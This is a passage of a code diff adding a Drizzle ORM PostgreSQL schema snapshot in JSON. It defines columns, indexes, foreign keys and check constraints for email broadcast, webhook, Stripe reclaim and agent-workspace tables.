"publishedAppId": { + "name": "publishedAppId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cancelAt": { + "name": "cancelAt", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'now'" + }, + "recordedAt": { + "name": "recordedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastAttemptAt": { + "name": "lastAttemptAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "app_hosting_stripe_reclaims_recorded_at_idx": { + "name": "app_hosting_stripe_reclaims_recorded_at_idx", + "columns": [ + { + "expression": "recordedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "app_hosting_stripe_reclaims_attempts_nonneg": { + "name": "app_hosting_stripe_reclaims_attempts_nonneg", + "value": "\"app_hosting_stripe_reclaims\".\"attempts\" >= 0" + }, + "app_hosting_stripe_reclaims_cancel_at_known": { + "name": "app_hosting_stripe_reclaims_cancel_at_known", + "value": "\"app_hosting_stripe_reclaims\".\"cancelAt\" IN ('now', 'period_end')" + } + }, + "isRLSEnabled": false + }, + "public.broadcast_recipients": { + "name": "broadcast_recipients", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "broadcast_id": { + "name": "broadcast_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "recipient_email": { + "name": "recipient_email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "broadcast_recipient_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "skip_reason": { + "name": "skip_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "sent_at": { + "name": "sent_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "claimed_at": { + "name": "claimed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "claimed_by": { + "name": "claimed_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "broadcast_recipients_broadcast_user_unique": { + "name": "broadcast_recipients_broadcast_user_unique", + "columns": [ + { + "expression": "broadcast_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "broadcast_recipients_broadcast_status_idx": { + "name": "broadcast_recipients_broadcast_status_idx", + "columns": [ + { + "expression": "broadcast_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "broadcast_recipients_broadcast_id_email_broadcasts_id_fk": { + "name": "broadcast_recipients_broadcast_id_email_broadcasts_id_fk", + "tableFrom": "broadcast_recipients", + "tableTo": "email_broadcasts", + "columnsFrom": [ + "broadcast_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "broadcast_recipients_user_id_users_id_fk": { + "name": "broadcast_recipients_user_id_users_id_fk", + "tableFrom": "broadcast_recipients", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.broadcast_templates": { + "name": "broadcast_templates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "subject": { + "name": "subject", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "body_markdown": { + "name": "body_markdown", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "broadcast_templates_active_idx": { + "name": "broadcast_templates_active_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "broadcast_templates_created_by_user_id_users_id_fk": { + "name": "broadcast_templates_created_by_user_id_users_id_fk", + "tableFrom": "broadcast_templates", + "tableTo": "users", + "columnsFrom": [ + "created_by_user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_broadcasts": { + "name": "email_broadcasts", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "subject": { + "name": "subject", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "engine": { + "name": "engine", + "type": "email_broadcast_engine", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'transactional'" + }, + "content_mode": { + "name": "content_mode", + "type": "email_broadcast_content_mode", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'compose'" + }, + "template_id": { + "name": "template_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "body_markdown": { + "name": "body_markdown", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "notification_type": { + "name": "notification_type", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'PRODUCT_UPDATE'" + }, + "audience_definition": { + "name": "audience_definition", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "status": { + "name": "status", + "type": "email_broadcast_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'draft'" + }, + "dry_run": { + "name": "dry_run", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "send_limit": { + "name": "send_limit", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "delay_ms": { + "name": "delay_ms", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 120 + }, + "total_targeted": { + "name": "total_targeted", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "sent_count": { + "name": "sent_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "skipped_count": { + "name": "skipped_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "failed_count": { + "name": "failed_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "step_results": { + "name": "step_results", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "job_id": { + "name": "job_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "blocked_reason": { + "name": "blocked_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_broadcasts_status_idx": { + "name": "email_broadcasts_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_broadcasts_created_at_idx": { + "name": "email_broadcasts_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_broadcasts_created_by_idx": { + "name": "email_broadcasts_created_by_idx", + "columns": [ + { + "expression": "created_by_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_broadcasts_template_id_broadcast_templates_id_fk": { + "name": "email_broadcasts_template_id_broadcast_templates_id_fk", + "tableFrom": "email_broadcasts", + "tableTo": "broadcast_templates", + "columnsFrom": [ + "template_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "email_broadcasts_created_by_user_id_users_id_fk": { + "name": "email_broadcasts_created_by_user_id_users_id_fk", + "tableFrom": "email_broadcasts", + "tableTo": "users", + "columnsFrom": [ + "created_by_user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.page_webhooks": { + "name": "page_webhooks", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "webhookToken": { + "name": "webhookToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "webhookSecretEncrypted": { + "name": "webhookSecretEncrypted", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerLeftAt": { + "name": "ownerLeftAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastFiredAt": { + "name": "lastFiredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastFireError": { + "name": "lastFireError", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_webhooks_page_id_idx": { + "name": "page_webhooks_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_webhooks_token_idx": { + "name": "page_webhooks_token_idx", + "columns": [ + { + "expression": "webhookToken", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_webhooks_pageId_pages_id_fk": { + "name": "page_webhooks_pageId_pages_id_fk", + "tableFrom": "page_webhooks", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_webhooks_createdBy_users_id_fk": { + "name": "page_webhooks_createdBy_users_id_fk", + "tableFrom": "page_webhooks", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "page_webhooks_webhookToken_unique": { + "name": "page_webhooks_webhookToken_unique", + "nullsNotDistinct": false, + "columns": [ + "webhookToken" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_workspace_shells": { + "name": "agent_workspace_shells", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspaceId": { + "name": "workspaceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentType": { + "name": "agentType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "command": { + "name": "command", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteExecId": { + "name": "spriteExecId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "coldTail": { + "name": "coldTail", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "coldTailAt": { + "name": "coldTailAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "coldTailHasOutput": { + "name": "coldTailHasOutput", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_workspace_shells_workspace_id_idx": { + "name": "agent_workspace_shells_workspace_id_idx", + "columns": [ + { + "expression": "workspaceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspace_shells_workspace_name_idx": { + "name": "agent_workspace_shells_workspace_name_idx", + "columns": [ + { + "expression": "workspaceId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_workspace_shells_workspaceId_agent_workspaces_id_fk": { + "name": "agent_workspace_shells_workspaceId_agent_workspaces_id_fk", + "tableFrom": "agent_workspace_shells", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "workspaceId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspace_shells_ownerId_users_id_fk": { + "name": "agent_workspace_shells_ownerId_users_id_fk", + "tableFrom": "agent_workspace_shells", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_workspaces": { + "name": "agent_workspaces", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteKey": { + "name": "spriteKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "egressPolicyToken": { + "name": "egressPolicyToken", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "teardownRequestedAt": { + "name": "teardownRequestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "spriteTornDownAt": { + "name": "spriteTornDownAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageLastBilledAt": { + "name": "storageLastBilledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "storageMeasuredBytes": { + "name": "storageMeasuredBytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "storageMeasuredAt": { + "name": "storageMeasuredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastActiveAt": { + "name": "lastActiveAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "endedAt": { + "name": "endedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_workspaces_drive_id_idx": { + "name": "agent_workspaces_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspaces_owner_id_idx": { + "name": "agent_workspaces_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspaces_live_sprite_idx": { + "name": "agent_workspaces_live_sprite_idx", + "columns": [ + { + "expression": "sandboxId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "spriteTornDownAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"agent_workspaces\".\"sandboxId\" IS NOT NULL AND \"agent_workspaces\".\"spriteTornDownAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspaces_env_id_idx": { + "name": "agent_workspaces_env_id_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_workspaces_driveId_drives_id_fk": { + "name": "agent_workspaces_driveId_drives_id_fk", + "tableFrom": "agent_workspaces", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspaces_ownerId_users_id_fk": { + "name": "agent_workspaces_ownerId_users_id_fk", + "tableFrom": "agent_workspaces", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspaces_envId_drive_envs_id_fk": { + "name": "agent_workspaces_envId_drive_envs_id_fk", + "tableFrom": "agent_workspaces", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "agent_workspaces_env_no_sprite_check": { + "name": "agent_workspaces_env_no_sprite_check", + "value": "\"agent_workspaces\".\"envId\" IS NULL OR (\"agent_workspaces\".\"sandboxId\" IS NULL AND \"agent_workspaces\".\"spriteKey\" IS NULL AND \"agent_workspaces\".\"spriteInstanceId\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.agent_workspace_node_revs": { + "name": "agent_workspace_node_revs", + "schema": "", + "columns": { + "rootId": { + "name": "rootId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "rev": { + "name": "rev", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + } + }, + "indexes": {}, + "foreignKeys": { + "agent_workspace_node_revs_rootId_agent_workspaces_id_fk": { + "name": "agent_workspace_node_revs_rootId_agent_workspaces_id_fk", + "tableFrom": "agent_workspace_node_revs", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "rootId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_workspace_nodes": { + "name": "agent_workspace_nodes", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rootId": { + "name": "rootId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "nodeType": { + "name": "nodeType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "axis": { + "name": "axis", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fraction": { + "name": "fraction", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "targetKind": { + "name": "targetKind", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "targetId": { + "name": "targetId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_workspace_nodes_one_root_idx": { + "name": "agent_workspace_nodes_one_root_idx", + "columns": [ + { + "expression": "rootId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"agent_workspace_nodes\".\"nodeType\" = 'root'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspace_nodes_chat_target_idx": { + "name": "agent_workspace_nodes_chat_target_idx", + "columns": [ + { + "expression": "targetId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"agent_workspace_nodes\".\"targetKind\" = 'chat'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_workspace_nodes_parent_idx": { + "name": "agent_workspace_nodes_parent_idx", + "columns": [ + { + "expression": "rootId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_workspace_nodes_rootId_agent_workspaces_id_fk": { + "name": "agent_workspace_nodes_rootId_agent_workspaces_id_fk", + "tableFrom": "agent_workspace_nodes", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "rootId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_workspace_nodes_rootId_parentId_agent_workspace_nodes_rootId_id_fk": { + "name": "agent_workspace_nodes_rootId_parentId_agent_workspace_nodes_rootId_id_fk", + "tableFrom": "agent_workspace_nodes", + "tableTo": "agent_workspace_nodes", + "columnsFrom": [ + "rootId", + "parentId" + ], + "columnsTo": [ + "rootId", + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "agent_workspace_nodes_rootId_id_pk": { + "name": "agent_workspace_nodes_rootId_id_pk", + "columns": [ + "rootId", + "id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "agent_workspace_nodes_root_no_parent_chk": { + "name": "agent_workspace_nodes_root_no_parent_chk", + "value": "(\"agent_workspace_nodes\".\"nodeType\" = 'root') = (\"agent_workspace_nodes\".\"parentId\" IS NULL)" + }, + "agent_workspace_nodes_node_type_chk": { + "name": "agent_workspace_nodes_node_type_chk", + "value": "\"agent_workspace_nodes\".\"nodeType\" IN ('root', 'split', 'pane')" + }, + "agent_workspace_nodes_target_kind_chk": { + "name": "agent_workspace_nodes_target_kind_chk", + "value": "\"agent_workspace_nodes\".\"targetKind\" IS NULL OR \"agent_workspace_nodes\".\"targetKind\" IN ('chat', 'terminal', 'page', 'ports')" + } + }, + "isRLSEnabled": false + }, + "public.drive_envs": { + "name": "drive_envs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "substrate": { + "name": "substrate", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'sprite'" + }, + "visibleToGlobalAssistant": { + "name": "visibleToGlobalAssistant", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "costOwnerId": { + "name": "costOwnerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isHome": { + "name": "isHome", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "spriteKey": { + "name": "spriteKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "egressPolicyToken": { + "name": "egressPolicyToken", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "teardownRequestedAt": { + "name": "teardownRequestedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "spriteTornDownAt": { + "name": "spriteTornDownAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "storageLastBilledAt": { + "name": "storageLastBilledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "storageMeasuredBytes": { + "name": "storageMeasuredBytes", + "type": "bigint", + "primaryKey": false, + "notNull": false + }, + "storageMeasuredAt": { + "name": "storageMeasuredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastActiveAt": { + "name": "lastActiveAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "drive_envs_drive_id_idx": { + "name": "drive_envs_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_cost_owner_idx": { + "name": "drive_envs_cost_owner_idx", + "columns": [ + { + "expression": "costOwnerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_drive_name_idx": { + "name": "drive_envs_drive_name_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_home_per_drive_idx": { + "name": "drive_envs_home_per_drive_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drive_envs\".\"isHome\"", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_envs_live_sprite_idx": { + "name": "drive_envs_live_sprite_idx", + "columns": [ + { + "expression": "sandboxId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "spriteTornDownAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"drive_envs\".\"sandboxId\" IS NOT NULL AND \"drive_envs\".\"spriteTornDownAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_envs_driveId_drives_id_fk": { + "name": "drive_envs_driveId_drives_id_fk", + "tableFrom": "drive_envs", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_envs_createdBy_users_id_fk": { + "name": "drive_envs_createdBy_users_id_fk", + "tableFrom": "drive_envs", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_envs_costOwnerId_users_id_fk": { + "name": "drive_envs_costOwnerId_users_id_fk", + "tableFrom": "drive_envs", + "tableTo": "users", + "columnsFrom": [ + "costOwnerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_envs_id_substrate_unique": { + "name": "drive_envs_id_substrate_unique", + "nullsNotDistinct": false, + "columns": [ + "id", + "substrate" + ] + } + }, + "policies": {}, + "checkConstraints": { + "drive_envs_substrate_check": { + "name": "drive_envs_substrate_check", + "value": "\"drive_envs\".\"substrate\" IN ('sprite', 'local')" + }, + "drive_envs_local_no_sprite_check": { + "name": "drive_envs_local_no_sprite_check", + "value": "\"drive_envs\".\"substrate\" = 'sprite' OR (\"drive_envs\".\"spriteKey\" IS NULL AND \"drive_envs\".\"sandboxId\" IS NULL AND \"drive_envs\".\"spriteInstanceId\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.drive_env_local": { + "name": "drive_env_local", + "schema": "", + "columns": { + "envId": { + "name": "envId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "substrate": { + "name": "substrate", + "type": "text", + "primaryKey": false, + "notNull": 